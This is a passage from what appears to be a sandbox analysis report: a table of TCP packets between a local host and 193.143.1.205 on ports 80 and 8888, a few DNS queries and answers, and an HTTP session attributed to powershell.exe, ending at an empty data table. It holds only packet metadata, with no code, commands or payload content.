Jan 11, 2025 02:13:33.494407892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494419098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494426012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.494431019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494441986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494458914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494460106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.494471073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494482994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494484901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.494493961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494505882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494505882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.494517088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494539976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.494565010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.495309114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495327950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495340109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495351076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495361090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.495362043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495373964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495384932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495384932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.495395899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495405912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495409012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.495417118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495428085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495436907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.495438099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495450020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495451927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.495460987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495471954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495481968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.495482922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495492935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495503902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.495510101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.495547056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.496052980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.496064901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.496100903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.522901058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.522937059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.522955894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.522968054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.522979975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.522989988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.523001909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.523013115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.523057938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.523353100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.523416996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.523421049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.523431063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.523490906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.523529053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.523540974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.523552895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.523583889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.523715973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.523766994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.529967070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.534425974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534444094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534512043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.534523010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534535885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534576893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.534646034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534661055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534672976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534692049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.534845114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534857988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534868002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534878969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534878969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.534889936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534902096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.534914017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.534954071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.535094023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.535135031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.579747915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.579775095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.579786062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.579807997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.579811096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.579847097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.579894066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.579905033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.579916000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.579925060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.579941034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.579992056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580029011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580039978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580049992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580060959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580077887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580094099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580146074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580157042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580167055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580177069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580193996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580212116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580245972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580333948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580343962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580353975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580363989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580368042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580378056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580389023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580399036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580415964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580589056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580600023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580610037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580615044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580621004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580626011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580634117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580635071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580646038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580657959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580693007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580784082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580795050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580805063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580810070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580820084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.580823898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580859900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.580878973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581048965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581059933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581069946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581079006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581089020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581099987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581109047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581108093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581108093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581120014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581130028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581137896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581140041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581150055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581159115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581161022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581171989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581190109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581216097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581445932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581459045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581496000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581543922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581552982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581562996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581573963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581582069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581583023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581593990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581618071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581630945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581784964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581795931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581805944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581815004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581825972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581829071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581835985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581845999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581856012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581860065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581866026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581876040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.581887007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.581913948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582269907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582282066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582292080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582302094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582309961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582312107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582323074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582324028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582333088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582343102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582350969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582354069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582362890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582372904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582376957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582382917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582392931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582393885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582402945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582403898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582412958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582423925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582442999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582473993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582879066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582889080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582899094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582905054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582914114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582914114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582923889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582933903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582937002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582943916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582953930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582963943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582972050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.582973957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582983971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582993984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.582997084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.583003998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.583014011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.583017111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.583034039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.583060980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.583359003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.583369970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.583380938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.583393097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.583404064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.583404064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.583414078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.583425045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.583432913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.583452940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.608697891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.611973047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.612009048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.612023115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.612096071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.612107992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.612209082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.612221003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.612232924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.612368107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.622911930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.622936010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.622946024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.622987986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623014927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.623034954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623047113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623055935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.623068094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.623112917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623145103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.623166084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623177052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623277903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623287916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623298883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623298883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.623311043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623326063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623331070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.623342037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.623400927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623411894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623423100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.623435974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.623454094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.632941961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.668508053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668540001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668555975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668579102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668590069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668633938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.668648005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668659925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668662071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.668670893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668673992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.668704033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.668812037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668823004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668833971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668844938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668855906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668860912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.668901920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.668931961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668942928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668953896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.668963909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.668988943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.669034958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.669044971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.669054985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.669066906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.669083118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.669111013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.669183969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.669194937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.669204950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.669222116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.679764032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.686912060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.775384903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:34.538738012 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:34.543468952 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:34.543539047 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:34.543737888 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:34.548463106 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:35.363946915 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:35.405903101 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:35.758275032 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:13:42.510762930 CET	62721	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:13:42.510762930 CET	192.168.2.5	1.1.1.1	0x27e3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:13:42.517812014 CET	1.1.1.1	192.168.2.5	0x27e3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:13:43.247757912 CET	1.1.1.1	192.168.2.5	0x30cb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:13:43.247757912 CET	1.1.1.1	192.168.2.5	0x30cb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6608	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
